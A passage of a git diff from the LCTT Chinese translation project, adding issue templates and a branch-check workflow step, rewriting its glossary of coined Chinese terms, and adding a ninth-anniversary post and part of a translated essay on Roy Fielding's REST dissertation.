diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000000..0086358db1 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1 @@ +blank_issues_enabled: true diff --git a/.github/ISSUE_TEMPLATE/questions.yml b/.github/ISSUE_TEMPLATE/questions.yml new file mode 100644 index 0000000000..5a3b8a2cee --- /dev/null +++ b/.github/ISSUE_TEMPLATE/questions.yml @@ -0,0 +1,18 @@ +name: Ask Questions | 提问 +description: Please describe your problem. | 请描述您的问题。 +labels: ["question"] +assignees: [] + +body: + - type: markdown + attributes: + value: | + Please answer these questions before you submit the desired feature. | 请在您提交期望的功能之前,回答以下这些问题 + + - type: textarea + attributes: + label: Your Questions + description: Please describe your problem. | 请描述您的问题。 + placeholder: I have a question... + validations: + required: true diff --git a/.github/ISSUE_TEMPLATE/topics.yml b/.github/ISSUE_TEMPLATE/topics.yml new file mode 100644 index 0000000000..d0887ac9d7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/topics.yml @@ -0,0 +1,67 @@ +name: 推荐选题 +description: 推荐一个选题 +title: "[推荐类型] 文章日期 文章标题" +labels: [] +assignees: + - lkxed +body: + - type: markdown + attributes: + value: | + 标题请使用 **`[推荐类型] 文章日期 文章标题`** 格式,选题类型、文章日期和文章标题中间有一个 **空格**。 + + 完整示例: + - [推荐选题] 20220823 The Lost Art of the Makefile + - [推荐选题] 20220905 Linus Torvalds Uses Apple MacBook Hardware to Release Linux Kernel 5.19 + - type: input + id: url + attributes: + label: 原文链接地址 + description: 填写原文章的链接地址 + placeholder: https://...... + validations: + required: true + - type: dropdown + id: terms + attributes: + label: 版权协议 + description: 填写原文章的版权协议 + multiple: false + options: + - CC-SA-BY + - 其它公域许可证 + - 已获取作者授权 + validations: + required: true + - type: dropdown + id: difficulty + attributes: + label: 文章难度 + description: 选择文章的难度 + multiple: false + options: + - 困难 + - 一般 + - 容易 + validations: + required: true + - type: dropdown + id: category + attributes: + label: 文章分类 + description: 选择文章的分类 + multiple: false + options: + - 新闻(news) + - 观点(talk) + - 技术(tech) + validations: + required: true + - type: textarea + id: reason + attributes: + label: 推荐理由 + description: 填写你的推荐理由 + placeholder: + validations: + required: false diff --git a/.github/workflows/lctt-article-checker.yml b/.github/workflows/lctt-article-checker.yml index 32d4354454..63b456aa9e 100644 --- a/.github/workflows/lctt-article-checker.yml +++ b/.github/workflows/lctt-article-checker.yml @@ -12,6 +12,8 @@ jobs: - uses: actions/checkout@v2 with: fetch-depth: 0 + - name: ensure source branch is not "master" + run: '[ "${{ github.head_ref }}" != master ]' - name: "checkout master branch & return to pull request branch" run: CURRENT=$(echo ${{github.ref}} | sed "s|refs/|refs/remotes/|") && git checkout master && git checkout $CURRENT - name: run check diff --git a/Dict.md b/Dict.md index 82454cfa5d..8ed2950f9c 100644 --- a/Dict.md +++ b/Dict.md @@ -1,163 +1,90 @@ +LCTT 术语词典 +====== - -
Linux中国术语词典
-
-
[Linux中国](http://www.linux.cn)出品
-**************************************************** -**************************************************** -本词典为规范Linux中国翻译组(LCTT)技术术语翻译而编写,同时也方便广大翻译志愿者查阅。限于编写者的水平,其中可能有不完善或疏漏的地方,希望广大翻译志愿者不吝指正。同时,希望广大翻译志愿者能提供相关术语的翻译供大家参考。另外,若在翻译过程中对某些术语有疑虑,可在我们的QQ专门群中进行讨论。在此,谨代表LCTT感谢各位志愿者的辛勤劳动和无私奉献。 -

LCTT翻译组

-**************************************************** +本文收录了 LCTT 自创和选用的翻译词汇。 -#### A #### -### 1. APM:高级电源管理 -### 2. -#### B #### -### 1. Backbone:骨干 -> 是一个网络的一部分,其作为所有网络运输的一个基本通道,其需要非常高的带宽。一个骨干网络的服务提供者连接许多企业子网和较小服务提供者的网络。一个企业骨干网络连接许多局域网和数据中心。 +为什么要自创翻译词汇?在翻译过程中,我们发现一些非缩写的英语术语沿袭使用了英语单词/短语,而没有得体的、公认的、正式的对应中文翻译。我们认为,中英文混杂是对原生语言的一种污染(英文缩写除外,这是为了减少冗长的语句),按照本地化的宗旨,应该对这些词汇进行翻译,并在必要时创造新的词汇。故此,我们在几年的翻译中,逐渐推敲和形成了一些新的译法,并在我们翻译的文章中使用和推广。 -### 2. B channel(Bearer channel):承载信道 -> 承载信道(Bearer Channel),也叫做B channel,是一个全双工DS0时间槽(64-kbps),其携带模拟语音或数字资料通过综合服务数字网(ISDN)。 +对这些译法,我们尽量遵循“信达雅”的原则。但鉴于水平所及,肯定会有所不足,虽然也有不断的调整和改进,但仍希望得到大家的反馈和指正。 -### 3. Backchannel:反向通道 -> 是指当其他实时在线会话在进行中时,习惯使用网络化的计算机来维持一个实时的在线会话。 +我们采用的方法是: -### 4. Back End:后台 -> 在一个计算机系统中,是指为一个前台作业提供服务的一个节点或软件程序。前台直接影响用户,后台可能与其他系统相连接,如数据库和其它系统。 +- 音似:中文读音近似于英文原词 +- 意近:中文字的意思接近英文原意 +- 组词:根据上述两条组成新的词汇,以避免和原有词汇混淆 -### 5. Back-haul:回程线路 -> 是一个通信信道,它使携带信息流到远于最终目的地的地方,然后将它送回。这样做是因为传输到更远的远程区域的代价要远比直接发送的代价低地多。 +此外,需要说明的是,有些译法可能已经被其他人在别的地方更早提出,但限于我们的学识和搜索能力,并未发现和了解到,并非我们故意剽窃。 -### 6. Backoff:退避 -> 是指当一个主机已经在有MAC 协议的网络中经历了一个冲突之后试图去重发之前的等待时期。这个退避时间通常是任意的来最小化相同节点再次冲突的可能性。在每次冲突后增加退避时期也能帮助预防重复碰撞,特别当这个网络负担很重时。 +顺便说一句,2014 年对 “Shebang”(`#!`)一词翻译时,来自于 LCTT 早期重要贡献者 GOLinux 提出的 “[释伴](https://linux.cn/article-3664-1.html)” 译法,是我们第一次创造新的翻译词汇,也是我们形成这样的想法的起点。 -### 7. Backplane:附加卡 -> 在许多网络中是一个物理接口模块,例如,连接在一个界面处理器或卡和在一个总线机箱内数据总线和功率分配总线之间的一个路由器或转换器。 +除了自创的翻译词汇外,这里还收录了一些选用的翻译词汇。有一些词汇存在多种译法,我们在翻译和使用过程中,采用了某个译法,在此列出以保持一致。 -### 8. Back Pressure:背压 -> 在计算机系统中,是指网络拥塞信息逆流通过一个Internet网络。 +### F -### 9. Balun(balanced-unbalanced):不平衡变压器 -> 意味着平衡-非平衡。不平衡变压器是一个设计用来转换平衡和不平衡之间的电信号的设备。 +#### Fork:复刻 -### 10. Baseband:基带 -> 是一种类型的网络技术,在那里仅仅一种载波频率被使用。在一个基带网中,信息在传送介质中以数字的形式被携带在一个单一的多元信号通道中。 +Fork 行为/操作广泛用于进程管理、版本管理和软件衍生方面。此词汇也长期缺乏确定的译法。 -### 11. Bastion Host:防御主机 -> 是在内部网络和外部网络之间的一个网关,它被设计来防御针对内部网络的攻击。这个系统在非武装区(DMZ)的公共一边,不被防火墙或过滤路由器保护,它对攻击是完全暴露的。 +此前,提议者对 Fork 给出了 “复刻” 的译法。基本意思是,根据上游/父本复制一份,然后在此基础上进行修改,从而形成“衍生品”。 -### 12: Bc(Committed Burst):约定资讯讯务 -> 是一个用在帧中继系统的术语,是一个帧中继交互网约定接受和传输和通过一个帧中继网络数据链路控制(DLC)和一个特殊的时帧的最大数据量(用比特表示)。 - -### 13. BCP(Best Current Practices):最优现行方法 -> 是副系列的IETF RFCs,其被用于描述在Internet上的最优配置技术。 +有趣的是,我们发现 GitHub 的 [部分中文文档](https://docs.github.com/zh/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks) 中也采用了此译法,不知道是不是受到了我们的影响。 -### 14. BCU(Balanced Configuration Unit):平衡配置单元 -> 是一个综合的IBM解决方法,它由软件和硬件组成。BCUs是综合的和测试作为数据仓库系统的预配置功能块。 +- 提议者:wxy +- 首次链接:https://linux.cn/article-7877-1.html -### 15. BECN(Backward Explicit Congestion Notification):显式拥塞通知 -> 是在帧中继报头的一个1比特域,其发信号到任何接收帧的事物(转换器和数据终端设备),拥塞就发生在帧的反面(后面)。帧中继转换器和数据终端设备可能遵照显式拥塞通知位来减慢那个方向的数据传输率。 +### L -### 16. BER(Bit Error Rate):误码率 -> 是接收到的位包含错误的比率。BER通常被表示成十足的负面力量。 +#### Live:立付 -### 17. BIP(Bit Interleaved Parity):位交叉奇偶校验 -> 一个用在ATM中的术语,是一个通常用来检测链接错误的一种方法。一个检测位或字被嵌入到以前发生阻塞或帧的链接中。位错误在有效载荷中能够作为维护信息被删除和报告。 +Live 原意多指“现场”、“实时”,在计算机环境中使用时也多引用此意。但对它的翻译就颇费神,因为无论是在 Live Patch,还是更多见的 Live USB/CD、Live Session,其实都不好翻译为“现场”、“实时”。 -#### C #### +提议者之前曾经尝试创造了新的“[临场](https://linux.cn/article-12854-1.html)”词汇,但是感觉有些不够达意。经过推敲,提议者再次推荐使用“立付”,在照顾发音的同时,取其“立时交付”之意。这样,Live USB/CD 可以译做 “立付 USB/CD”,Live Session 可以译做 “立付会话”。 -#### D #### -### 1. daemon:守护进程 -### 2. -#### F #### +而对于 Live Stream,提议者建议依旧翻译为“直播”、“实时流”。对于 Live Patch,还是采用 “热补丁” 这样的意译。 -#### G #### +- 提议者:wxy +- 首次链接(临场):https://linux.cn/article-12854-1.html +- 首次链接(立付):https://linux.cn/article-15499-1.html -#### H #### -### 1. Home Directory:家目录 -#### I #### -### 1. issue:工单 -> 有翻译做“问题”的,但是应该译作“工单”,尤其是用于 GitHub 中。 +### P -#### J #### +#### Pod:容器荚 -#### K #### +在容器环境中使用 Pod 来代表一组容器。最初,我根据 Kubernetes 中大量采用了航海相关的比喻,而将其译为“吊舱”。但根据 Kubernetes [文档](https://kubernetes.io/docs/concepts/workloads/pods/#:~:text=A%20Pod%20(as%20in%20a,run%20in%20a%20shared%20context.),其来自对 “鲸鱼荚Pod of Whales”、“豌豆荚pea pod” 的比喻。因此这个词翻译为“容器荚”。也有有将其翻译为“容器组”。 -#### L #### -### 1. live CD:现场版 CD -> 通常不翻译,但是如果翻译,可以译作“现场版”。 -### 2. live patch: 实时补丁/热补丁 -> 指 Linux 内核的 live patch 支持。 +- 提议者:wxy +- 首次链接:https://linux.cn/article-14591-1.html -### 2. LTS(Long Term Support):长期支持 -> 该缩写词多见于操作系统发行版或者软件发行版名称中,表明该版本属于长期支持版。 +### R -#### M #### +#### Repo/Repository:代码仓库、软件仓库 -#### N #### +Repository 主要用于两个场景,一个是用于版本管理的代码仓库,一个是用于分发软件/组件/制品的软件仓库。 -#### O #### -### 1. Orchestration:编排 -> 描述复杂计算机系统、中间件(middleware)和业务的自动化的安排、协调和管理(来自维基百科)。 +鉴于两种场景的差异,建议在使用时,分别注明“代码仓库”或“软件仓库”,也可简称为 “代码仓”或“软件仓”。 -#### P #### -### 1. P-code(Pseudo-code):伪代码语言 -> 一种解释型语言,执行方式介于编译型语言和解释型语言之间。和解释型语言一样,伪代码编程语言无需编译,在执行时自动转换成二进制形式。然而,和编译型语言不同的是,这种可执行的二进制文件是以伪代码的形式而不是机器语言的形式存储的。伪代码语言的例子有 Java、Python 和 REXX/Object REXX。 +### S -### 2. PAM(Pluggable Authentication Modules):可插拔认证模块 -> 用于系统安全性的可替换的用户认证模块,它允许在不知道将使用何种认证方案的情况下进行编程。这允许将来用其它模块来替换某个模块,却无需重写软件。 +#### Shebang [ʃɪ'bæŋ]:释伴 -### 3. Port/Ported/Porting:移植 -> 一个过程,即获取为某个操作系统平台编写的程序,并对其进行修改使之能在另一 OS 上运行,并且具有类似的功能。 +Shebang(也称为 Hashbang)是一个由井号和叹号构成的字符序列(`#!`),出现在脚本文件的第一行的前两个字符,后跟解释器路径,如:`#!/bin/sh`,这通常是 Linux 中 shell 脚本的标准起始行。 -### 4. POSIX(Portable Operating System Interface for uniX):UNIX 可移植操作系统接口 -> 一组编程接口标准,它们规定如何编写应用程序源代码以便应用程序可在操作系统之间移植。POSIX 基于 UNIX,它是 The Open Group 的 X/Open 规范的基础。 +长期以来,Shebang 都没有正式的中文名称。提议者将其翻译为:“释伴”,即解释伴随行的简称,同时又是 Shebang 的音译。(关于这个词汇的翻译,在下面的首次链接中有其它的建议和讨论。) -#### Q #### +- 提议者:GoLinux +- 首次链接:https://linux.cn/article-3664-1.html -#### R #### -### 1. RCS(Revision Control System):修订控制系统 -> 一组程序,它们控制组环境下文件的共享访问并跟踪文本文件的变化。常用于维护源代码模块的编码工作。 +#### Shell :交互界面 -### 2. RFS(Remote File Sharing):远程文件共享 -> 一个程序,它让用户访问其它计算机上的文件,就好象文件在用户的系统上一样。 +Shell 是 Unix/Linux 等系统的 `sh`、`bash` 等命令行的接口程序,包括 DOS/Windows 的 `command.com`/`cmd.exe` 等其实也属于此类,只是通常不这样称呼。 -#### S #### -### 1. shebang [ʃɪ'bæŋ]:释伴 -> Shebang(也称为Hashbang)是一个由井号和叹号构成的字符序列(#!),出现在文本文件的第一行的前两个字符,后跟解释器路径,如:#!/bin/sh,这通常是Linux中shell脚本的标准起始行。 -> 长期以来,shebang都没有正式的中文名称。Linux中国翻译组将其翻译为:释伴,即解释伴随行的简称,同时又是shebang的音译。 +这个词汇也是一个一直没有翻译而径直使用的计算机词汇。我们也没有见到(找到)合适的翻译。但是我们在 LCTT 译者 CanYellow 翻译的一篇文章中见到他将其翻译为 “交互界面”,我们认为这是一种好的翻译。 -### 2. Spool(Simultaneous Peripheral Operation On-Line):假脱机 -> 将数据发送给一个程序,该程序将该数据信息放入队列以备将来使用(例如,打印假脱机程序) +注:有些人对此次条的翻译持反对意见,此词条建议尝试性在部分语境中使用。 -### 2. Steganography:隐写术 -> 将一段信息隐藏在另一段信息中的做法。一个示例是在数字化照片中放置不可见的数字水印。 +- 提议者:CanYellow +- 首次链接:https://linux.cn/article-15469-1.html -### 3. Swap:交换 -> 暂时将数据(程序和/或数据文件)从随机存取存储器移到磁盘存储器(换出),或反方向移动(换入),以允许处理比物理内存所能容纳的更多的程序和数据。 +### 说明 -### 4. Scheduling:调度 -> 将任务分配至资源的过程,在计算机或生产处理中尤为重要(来自维基百科)。 - -#### T #### -### 1. Time-sharing:分时 -> 一种允许多个用户分享处理器的方法,它以时间为基础给每个用户分配一部分处理器资源,按照这些时间段轮流运行每个用户的进程。 - -### 2. TL;DR:长篇摘要 -> Too Long;Didn't Read的缩写词,即太长,未阅的意思。该词多见于互联网社区论坛中,用于指出该文太长,没有阅读,或者标示出一篇长文章的摘要。在论坛回复中,该缩写词也多作为灌水用。因此,Linux中国翻译组将其翻译为:长篇摘要。 - -#### U #### - -#### V #### -### 1. VRML(Virtual Reality Modeling Language):虚拟现实建模语言 -> 一种主要基于 Web 的语言,用于 3D 效果(如构建遍历)。 - -#### W #### -### 1. Wrapper:封装器 -> 用于启动另一个程序的程序。 - -#### X #### - -#### Y #### - -#### Z #### +此文档会根据建议不断更新,其固定地址为: https://github.com/LCTT/TranslateProject/blob/master/Dict.md ,欢迎大家提交议题或拉取请求来完善它。 diff --git a/lctt2022.md b/lctt2022.md new file mode 100644 index 0000000000..e9e2bc7ea5 --- /dev/null +++ b/lctt2022.md @@ -0,0 +1,42 @@ +开源贡献者翻译组 LCTT 九岁啦 +====== + +九年前,也是这个上午,我创建了 LCTT 及其第一个项目 [TranslateProject](https://github.com/LCTT/TranslateProject/)。从最初只是有感于 Unix/Linux 上的中文手册页实在太糟糕,希望做一些事情;到最后变成了一个以翻译国外各个开源社区的技术文章和开源资讯/讨论的“流水”式项目,LCTT 已经走过了令我自己都非常吃惊的九年。 + +人的一生,几十年而已,能在一件事上持续投入九年时光,这是我从未想过的事情。驻足回望,LCTT 其实并没有完成我最初的想法,这是缺憾;但是 LCTT 就这样变成了另外一种并非在我计划中的样子,或许也有其必然性。现在看来,LCTT 做了一些事情,也有一些存在的意义。我试着总结一下: + +LCTT 的主项目 TranslateProject,选题广泛,参与门槛低,从某种意义上,为初识开源的小伙伴提供一种成为开源贡献者的方式。一些人就是通过这个项目,迈出了成为开源贡献者的第一步,并在日后的学习和工作中,成为了开源爱好者、专业技术人员。 + +LCTT 持续翻译了数千篇(截至今日,已经翻译发布了 6395 篇文章),这些文章的专业程度横跨了入门到精通等不同难度,内容方向涉猎了开发、运维、使用和文化等各个方面。虽然,有些文章仅堪一读,但也有不少文章值得收藏、一再细读。我屡屡能从读者那里得到反馈,这些文章对他们提供了很大的帮助,我想这就是 LCTT 的存世价值之一吧。唯独可惜的是,这些文章,没有以很好的方式组织起来,甚憾。 + +LCTT 有数百成员(截至今日,成功地在仓库中进行了贡献的贡献者有 311 位),他们的年龄不等,最年轻的有初中的学生、最老的,嗯这个不需要说了;他们的职业各异,比较多的是大学生,也有很多从事技术工作的专业人员,甚至还有完全不从事技术工作的贡献者。但是,他们都有一个共同的身份就是 LCTT 贡献者,因此,他们都有很多开源兄弟姐妹。 + +按照惯例,每两年,我会写一篇 LCTT 总结。今年又快到这个时间了,我却有些不知道该如何下笔。恍惚间,我突然想到,LCTT 是一个贡献者组织,是大家的 LCTT,那么,为什么不让大家来为 LCTT 写两句话呢?于是,我在 LCTT 群内发起了号召,请诸位成员写写自己参与 LCTT 的经历、感受或收获,也可以是祝愿、建议。下面,是我收集到的其中一些成员的留言(以留言时的顺序列出): + +- **译者-acyanbird**:Linux 中国是我的开源引路人,让我有机会从零开始参与开源社区,认识到了开源精神,见到了世界的另一个可能性。也借此机会参与不少活动,认识了很多开源人士。目前在组长的帮助下,我也开始自己建立社区,十分感谢您给我这个机会~希望我们都越来越好,有更多的人也来一起参与开源 +- **译者-mandeler**:LCTT community forever! +- **译者-Kira-Pgr**:For a better open source world! +- **译者-mengxinayan**:LCTT 不仅可以用来锻炼翻译能力,同时有专人进行校对,能有效找到自身不足。此外还可以用来接触新知新方向,最重要的是可以培养自身英文阅读的习惯。Thanks LCTT! +- **译者-aftermath0703**:从 LCTT 我收获到了许多知识,有时间我就会去 GitHub 上读读新的文章,有更多时间我就会去翻译一篇。翻译过程中先自己翻译一遍,再用翻译网站翻译一遍,有偏差的地方相互比对,我觉得这对我的各项英语能力都有很大的帮助。希望 LCTT 蓬勃发展,越办越好! +- **译者-MFGJT**:虽然因为工作原因很久没有翻译了,但是还是每天在看微信公众号。感觉到大家都很努力,希望今年有机会继续参加翻译 🌹 +- **译者-stevending1st**:加入 LCTT 最大的惊叹是核心贡献者能够做到维护一个几百人的贡献者群体,背后是他们巨大的努力。希望能在 LCTT 不断学习,努力提升自己的能力。也祝愿 LCTT 越来越好。 +- **译者-aREversez**:作为一个学翻译的学生,能参与到 LCTT 这样一个项目,了解更多关于开源与技术的知识,见识更宽阔的世界和更深远的历史,让自己能尽己所能为开源贡献一份力量,实属荣幸之至。希望咱们社区能够一直繁荣下去,传播更加丰富多彩的开源技术与思想! +- **译者-mcfd**:LCTT 翻译的许多实用的技术文章,能够简明、易懂地为广大小白答疑解惑,扫除学习、日常中遇到的坑,间接且不断地为开源社区注入生机。清风不解凌云志,明月无声照九州​。 +- **核心-lkxed**:在裸辞考研失败之后,我曾一度陷入迷茫。偶然间读到老王写的《如何以翻译贡献参与开源社区》,决心加入进来。自此,我从一个连 Git 和 GitHub 都搞不大懂的小白,成长为一名熟练的译者,又成长为一名熟练的选题。踏踏实实地做好一件小事,每天如此,不正是对抗焦虑和迷茫的好办法吗?感谢开源,给了我这个成长的机会;感谢 LCTT,领着我敲开了开源的大门;感谢老王,在我困惑时指点迷津。祝愿 LCTT 越办越好,我们一路与你同行! +- **核心-bestony**:刚刚专门回到网站上看了一下,我参与 LCTT 已经 8 年了,8 年来,LCTT 见证了我从小透明到半透明,也经历了我人生的三分之一。希望在未来的时间里,我可以和 LCTT 共成长,也可以与 LCTT 共人生。 +- **核心-Locez**:今天是 LCTT 的生日,也是我的生日,一种奇妙的缘分。LCTT 是我接触 LC,接触开源以后第一个比较正式贡献的项目,对我来说意义比较非凡,重要的是通过这个项目在 LC 以及 LCTT 结识到了热爱分享的大家,特别是老王,viz,bestony 等人,很感谢大家在我学生时代起,就对我的一些耐心引导与帮助。 +- **译者-robsean**:科教兴国,实干兴邦 +- **译者-TravinDreek**:作为一位自由软件活动者,我主要从事技术伦理相关文章的翻译。我在 LCTT 的翻译动机,不止在于增进自己对当今技术伦理问题的认识,更在于让人们有机会了解到并利用自由(和开源)软件来应对这些问题。希望 LCTT 今后能在传播 FLOSS 方面起到更大的作用。Happy hacking. +- **译者-Wlzzzz-del**:之前备考考研时,偶然接触到 LCTT。为了多了解一些 Linux 知识,同时提高自己的英语水平,因此选择加入了 LCTT,这也是我第一次参与开源项目。虽然因为很多原因,翻译的文章不多,但是 LCTT 发布的文章我都会认真阅读。在未来我希望能多抽出时间来,参与到翻译活动中来。 +- **译者-Veryzzj**:今年年初在朋友的介绍下认识了 LCTT 并参与到了其中,仔细回想 LCTT 的意义于我是什么?是打破开源项目于我的神秘面纱,是从申领到翻译每一篇收获的成就感,是发布了文章感受到的正反馈,是在翻译群中和大家交流时的友好气氛。正是这些点滴,是我对抗生命无意义感的武器。我们用语言打破边界,也用语言拓宽世界。预祝 LCTT 越来越好! +- **译者-Chao-zhi**:加入 LCTT 已经六年了,我已经不记得自己是怎么加入 LCTT 了。但我一直记得我是通过 LCTT 的 wiki 学会使用 GitHub 的。也是通过 LCTT 慢慢了解开源世界的。希望能继续和 LCTT 一起成长。 +- **核心-MjSeven**:但愿 LCTT 长久,千里共婵娟 +- **译者-mudongliang**:LCTT 是早期我参与的开源项目,通过这个项目我学会了很多开源知识,熟练使用 Git 使用,为后期在内核项目贡献,奠定了坚实基础 😁 +- **译者-Northurland**:感谢 LC 治好了我的网友见面恐惧症(笑)。这是我在校园外参与的第一个项目,很感谢组长和 LC 的大家给予我这个机会。希望我们珍视的这个社区在未来能让更多人了解开源、参与开源。 + +说实话,LCTT 和 Linux 中国能走到今天,全赖这些贡献者的支持,这让我每每感觉吃力时,都有了不能放弃的理由。 + +那么,你是不是也想加入 LCTT 呢?很简单,访问 LCTT 官网:https://linux.cn/lctt/ 即可了解如何成为一名 LCTT 贡献者了。 + +最后,感谢大家九年来的支持和信任!顺祝大家中秋节、教师节快乐! + diff --git a/published/20200628 Roy Fielding-s Misappropriated REST Dissertation.md b/published/20200628 Roy Fielding-s Misappropriated REST Dissertation.md new file mode 100644 index 0000000000..6ca5a4242f --- /dev/null +++ b/published/20200628 Roy Fielding-s Misappropriated REST Dissertation.md @@ -0,0 +1,94 @@ +[#]: collector: (lujun9972) +[#]: translator: (CanYellow) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15642-1.html) +[#]: subject: (Roy Fielding's Misappropriated REST Dissertation) +[#]: via: (https://twobithistory.org/2020/06/28/rest.html) +[#]: author: (Two-Bit History https://twobithistory.org) + +被误用的罗伊·菲尔丁的有关描述性状态迁移(REST)的博士论文 +====== + +![][0] + +符合 描述性状态迁移REpresentational State Transfer(LCTT 译注:REST,译自审定公布名词数据库)的应用程序接口(API)无处不在。有趣的是又有多少人真正了解“符合描述性状态迁移”的应有之义呢? + +大概我们中的大多数人都会跟 [黑客新闻网站上的这篇公开问答][1] 产生共鸣: + +> 我阅读了几篇介绍描述性状态迁移(REST)的文章,甚至包括原始论文的部分章节。然而我仍然对REST 到底是什么只有一个相当模糊的想法。我开始认为没有人真的了解它,它仅仅是一个定义相当不充分的概念。 + +我曾经计划写一篇有关 REST 的博客,在里面探讨 REST 是如何成为这样一个在网络通信领域占主导地位的范式的。我通过阅读 [2000 年发表的 罗伊·菲尔丁Roy Fielding 的博士论文][2] 开始我的研究,这篇博士论文向世人介绍了 REST 的概念。在读过菲尔丁的博士论文以后,我意识到,相比之下,更引人注意的是菲尔丁的理论缘何受到如此普遍的误解。 + +(相对公平地说,)很多人知道 REST 源自菲尔丁的博士论文,但并没有读过该论文。因此对于这篇博士论文的原始内容的误解才得以流行。 + +最大的误解是:这篇博士论文直接解决了构建 API(API)的问题,我此前一直认为 REST 从一开始就打算成为构建在超文本传输协议(HTTP)之上的 网络 APIWeb API的架构模型,我相信很多人也这样认为。我猜测此前可能存在一个混乱的试验时期,开发人员采用完全错误的方式在 HTTP 基础上开发 API,然后菲尔丁出现了,并提出了将 REST 做为网络应用程序开发的正确方式。但是这种想法的时间线对不上:我们今天所熟知的网络服务的 API 并非是在菲尔丁出版他的博士论文之后才出现的新生事物。 + +菲尔丁的博士论文《架构风格与基于网络的软件架构设计》不是讨论如何在 HTTP 的基础上构建 API,而恰恰是讨论 HTTP 本身。菲尔丁是 HTTP/1.0 版规范的贡献者,同时也是 HTTP/1.1 版的共同作者。有感于从 HTTP 的设计中获得的架构经验,他的博士论文将 REST 视为指导 HTTP/1.1 的标准化过程的架构原则的精华。举例而言,他拒绝了使用新的 `MGET` 和 `MHEAD` 方法进行批量请求的提议,因为他认为这违反了 REST 所定义的约束条件,尤其是在一个符合 REST 的系统中传递的消息应该是易于代理和缓存的约束条件。[^1] 因此,HTTP/1.1 转而围绕持久性连接设计,在此基础上可以发送多个 HTTP 请求。(菲尔丁同时认为网页保存在本地的浏览数据,即 cookie 是不符合 REST 的,因为它们在一个状态无关的系统中增加了状态描述,然而它们的应用已经根深蒂固了。[^2])菲尔丁认为,REST 并非构建基于 HTTP 的系统的操作指南,而是扩展 HTTP 的操作指南。 + +这并不意味着菲尔丁认为 REST 不能用于构建其他系统。只是他假定其他系统也是 “分布式超媒体系统distributed hypermedia systems”。人们对 REST 还有另一个误解:认为它是一个可以用在任何网络应用中的通用架构。但是从这篇博士论文中菲尔丁介绍 REST 的部分你基本上能够得出如下的结论,“请注意,我们只设计了 HTTP,但是如果你发现你自己也在设计一个_分布式超媒体系统_,你也应该采用我们提出的称为 REST 的优秀架构,以让开发变得更容易”。有鉴于互联网已经存在了,我们尚不清楚为什么菲尔丁认为有人可能试图重新创建这样一个(和 HTTP 一样的)系统。或许在 2000 年的时候世界上仍然存在不只一个分布式超文本系统的空间吧。无论如何,菲尔丁已经说得很清楚了,REST 意在提供一套解决方案,来解决在试图经由网络连接超文本内容时出现的可扩展性与一致性问题,_而不是_ 作为分布式应用的通用架构模型。 + +我们现在只记得菲尔丁的博士论文提出了 REST 的概念,但事实上,他的博士论文是在讨论一刀切的软件架构有多么糟糕,以及如何更好地选择符合你需求的软件架构。这篇博士论文中仅用了一个章节来讨论 REST 本身,大量的文本内容都都花在了对你能够在网络应用中运用的不同的架构风格 [^3] 的分类上。这些架构风格包括:受 Unix 的管道设计启发的 管道-过滤器Pipe-and-Filter (PF)风格,客户-服务器Client-Server (CS)风格的多种改进,如 分层-客户-服务器Layered-Client-Server(LCS)风格、客户-缓存-无状态-服务器Client-Cache-Stateless-Server(C\$SS)风格和分层-客户-缓存-无状态-服务器Layered-Client-Cache-Stateless-Server(LC\$SS)。这些缩略词未必实用,但是菲尔丁认为我们可以通过混合匹配现有风格提供的约束条件来派生出新的风格。REST 就是通过这种方式产生的,它本可以称之为 一致性-分层-按需代码-客户-缓存-无状态-服务器Uniform-Layered-Code-on-Demand-Client-Cache-Stateless-Server(ULCODC\$SS)风格,显然我们并没有这样做。菲尔丁建立上述分类是为了强调(每一种风格对应的)约束适用于不同的应用,而上述最后一种风格对应的约束是他所认为的最适用于 HTTP 的。 + +今天,REST 的无处不在是极具讽刺意味的。REST 在各种各样的网络应用中被盲目使用,但是菲尔丁最初只是将 REST 视作一种指引,通过它指导人们裁剪一种软件架构来适应独立应用的特殊需求。 + +我很难弄清楚这是如何发生的,毕竟菲尔丁已经明确地指出了不能让形式服从功能的陷阱。他在论文的一开始就作出了警告:由于没有正确地理解软件架构而“使用流行的架构设计是经常发生的”[^4]。他在几页之后又重新强调了这一点: + +> 一些架构风格经常被描述为适用于一切软件形式的“银弹”解决方案。然而,一名好的设计者应该选择能够满足解决特定问题的需要的架构风格[^5]。 + +REST 本身就是一个特别糟糕的 “银弹” 解决方案。正如菲尔丁所指出的,它包含了可能不合适的利弊权衡,除非你试图构建一个分布式超媒体应用: + +> REST 设计用来高效地进行大粒度的超媒体数据传输,并对网络应用场景中的常用见情形做了优化,但是可能会导致其在与其他形式的软件架构相互作用时不协调。[^6] + +菲尔丁提出 REST 是因为网络发展带来了“超越政府的可扩展性anarchic scalability”这一棘手问题,菲尔丁的意思是需要以一种高性能的方式跨越组织和国家边界连接文件。REST 所施加的约束是经过精心选择的,以用来解决这一“超越政府的扩展性”问题。_面向公众_ 的网络服务 API 同样需要解决类似的问题,因此可以理解为什么 REST 在这些应用中是适用的。然而,时至今日,如果发现一个工程团队使用 REST 构建了一个后端,即使这个后端只与工程团队完全控制的客户端通讯,也不会令人惊讶。我们都成为了 [蒙蒂巨蟒Monty Python 的独幕滑稽剧][9] 中的建筑师,那位建筑师按照屠宰场的风格设计了一座公寓大楼,因为屠宰场是他唯一具有的经验的建筑。(菲尔丁使用了这部滑稽剧中的一句台词作为他的博士论文的题词:打扰一下,你说的是“刀”吗?)(LCTT 校注:顺便说一句,Python 语言的名称来自于 “Monty Python” 这个英国超现实幽默表演团体的名字。) + +有鉴于菲尔丁的博士论文一直在极力避免提供一种放之四海而皆准的软件架构,REST 又怎么会成为所有网络服务的事实上的标准呢? + +我认为,在 21 世纪头十年的中期人们已经厌倦了简单对象访问协议(SOAP),因此想要创造另一种属于他们自己的四字首字母缩略词。 + +我只是半开玩笑。简单对象访问协议Simple Object Access Protocol(SOAP)是一个冗长而复杂的协议,以致于你没法在不事先理解一堆互相关联的可扩展标记语言(XML)规范的基础上使用它。早期的网络服务提供基于 SOAP 的 API。在 21 世纪头十年中期,随着越来越多的 API 开始提供,被 SOAP 的复杂性激怒的软件开发者随之集体迁移。 + +SOAP 遭到了这群人的蔑视,Rails 之父 戴维·海涅迈尔·汉森David Heinemeier Hansson(LCTT 